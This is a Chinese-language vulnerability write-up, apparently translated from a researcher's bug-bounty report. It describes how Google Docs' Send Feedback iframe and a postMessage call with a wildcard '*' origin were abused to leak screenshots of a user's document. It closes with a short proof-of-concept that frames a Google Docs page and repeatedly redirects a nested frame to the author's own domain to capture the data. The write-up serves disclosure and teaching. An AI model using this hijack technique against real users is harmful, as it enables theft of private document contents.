本文中,作者利用谷歌的问题反馈机制功能,通过更改其中调用框架iframe的URL路径,可实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。一起来看看。
谷歌在其大部分应用产品中都有一个名叫“反馈发送”( Send Feedback)的功能,用于用户在使用其产品过程中的问题反馈,该功能中设置了问题描述的截图添加选项。如下所示:
目前来看,该“反馈发送”是谷歌旗下应用的常见功能,范围涵盖包括谷歌主站点https://www.google.com在内的其它应用或产品,并且还通过Iframe方式集成到了谷歌的其它域名网站下。
基于上述谷歌的“反馈发送”功能来看,假设我们在使用谷歌文档-Google Docs (https://docs.google.com/document),可以从路径Help--> Send Feedback来打开“反馈发送”功能来提交一些使用问题。打开“反馈发送”功能后,我们可以看到,此时的谷歌文档会以Iframe方式,对你当前的谷歌文档工作区域部份进行截图。由于谷歌主站www.google.com和Google docs (docs.google.com) 分别属于不同的源,所以,这里“反馈发送”功能的截图渲染操作可能就涉及到了跨源(域)通信,当然,PostMessage机制在这里就派上用场了。大概的一个流程就是:Google Docs会通过postmessage机制把其当前的工作文档截图RGB颜色模式发送到谷歌主站www.google.com的iframe框架,其截图RGB颜色模式最终会被postmessage方法发到feedback.googleusercontent.com,然后以Base64编码send到主站www.google.com的iframe框架中去。
最后,还得在其截图反馈中添加文字描述,点击“Submit Feedback”提交反馈后,postmessage方法会一并把图文发送到https://www.google.com。总体流程如下:
了解了上述的反馈发送功能后,我首先想在其中的沙箱域名feedback.googleusercontent.com测试一下XSS漏洞,我预想利用XSS漏洞去劫持其中传输的用来渲染RGB像素点的值,这样就可以间接窃取其截图。一开始我比较有把握觉得沙箱域名feedback.googleusercontent.com应该有XSS,在我朋友的帮助下,我们前后历时5天,但连XSS的影子都没发现,就快要放弃了。一周后,我在Twitter中看到了白帽filedescriptor之前发过的一个视频,视频是关于Intigriti XSS挑战赛的解题思路。
看了filedescriptor发的视频后,我学到了一招。就是,如果当前的跨域域名缺少X-Frame-Header消息头,则可以修改其iframe涉及的域名网站路径。就比如,如果域名abc.com调用的iframe涉及efg.com,但是若abc.com缺少X-Frame-Header消息头,则可以用frames.location方法把其中涉及iframe的efg.com更改为恶意域名evil.com。
如何来利用呢?是不是如果把其中的跨域域名修改成为我自己控制的网站域名,那我的网站中就会收到谷歌postmessage过来的数据?我决定一试,于是把上述涉及iframe调用的沙箱域名feedback.googleusercontent.com更改为了我的网站域名-geekycat.in,可是,不行,啥也没有。谷歌反馈发送功能中的postmessage方法如下:
windowRef.postmessage("<Data>","https://feedback.googleusercontent.com");
所以,即使我把iframe调用路径域名更改成我的域名网站,但是由于postmessage方法中是feedback.googleusercontent.com,所以还是不匹配,就不能成功。但之后,我观察到谷歌反馈发送提交后的最后一个postmessage方法为windowRef.postmessage("<Data>","*"),其中竟然没有域名限制,那再来试试看吧!
但等等,之前我说过,这里还需要主域名缺少X-Frame header消息头,怎么办呢?幸好经过检查发现,Google docs真的没有X-Frame header消息头。但谷歌还具备其它点击劫持防护措施,而且很多功能选项在iframe框架机制中都是禁用的。这里,我又发现了另外一个LiveOverflow
发布的漏洞利用视频Google Docs XSS Vulnerability,其中讲述了利用postMessage()实现Google Docs 的XSS漏洞,非常具有针对性,完全我能应用到这里的漏洞测试中来。
有了上述珠玉在前的参考,最终我构造的POC如下:
<html> <iframe src="https://docs.google.com/document/ID" /> <script> //pseudo code setTimeout(function(){ exp(); }, 6000); function exp(){ setInterval(function(){ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; }, 100); } </script> </html>
上述代码意思是以setTimeout方式在6秒后加载iframe框架,另外一个问题是,只有当用户点击了“Submit Feedback”提交反馈后iframe框架才会被加载,因此,在框架的location中,我们对嵌入其中的恶意URL链接设置了100毫秒的刷新时间,以防用户未及时点击“Submit Feedback”。
参考来源:geekcat,编译整理:clouds,转载请注明来自Freebuf.com